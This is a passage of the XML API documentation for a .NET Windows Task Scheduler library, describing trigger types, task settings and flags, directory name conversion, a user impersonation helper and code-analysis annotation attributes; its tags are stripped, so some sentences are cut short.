weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the ITriggerDelay interface. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only available for reading custom + triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every other day, every + third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 + and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from the subscription query + specified in the Subscription property. The name of the query can be used as a variable in the message of a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all entries in the + property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are enumerated and any tasks + registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, then do not assign a + value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty LogonTrigger.UserId property and assign a value to the + principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the + value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 to 32 and bits are + numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits are considered to + number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only available for Task + Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is + repeated indefinitely. + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + If you specify a repetition duration for a task, you must also specify the repetition interval. + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. Only available for + Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of the week every week or + every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + + + Gets the number of triggers in the collection. + + + + + Gets or sets a specified trigger from the collection. + + + The . + + The id () of the trigger to be retrieved. + + Specialized instance. + + + + + Mismatching Id for trigger and lookup. + + + + Gets a specified trigger from the collection. + + The index of the trigger to be retrieved. + Specialized instance. + + + + Add an unbound to the task. + + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + + Add a new trigger to the collections of triggers for the task. + + The type of trigger to create. + A instance of the specified type. + + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and cannot contain null elements. + is null. + + + + Clears all triggers from the task. + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Determines whether the specified trigger type is contained in this collection. + + Type of the trigger. + + true if the specified trigger type is contained in this collection; otherwise, false. + + + + + Copies the elements of the to an , starting at a particular index. + + The one-dimensional that is the destination of the elements copied from . The must have zero-based indexing. + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire collection. + + The delegate that defines the conditions of the to search for. + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + + The for this collection. + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Determines the index of a specific item in the . + + The id () of the trigger to be retrieved. + + The index of if found in the list; otherwise, -1. + + + + + Inserts an trigger at the specified index. + + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Removes the trigger at a specified index. + + Index of trigger to remove. + Index out of range. + + + + Copies the elements of the to a new array. + + An array containing copies of the elements of the . + + + + Returns a that represents the triggers in this collection. + + + A that represents the triggers in this collection. + + + + + Releases all resources used by this class. + + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of 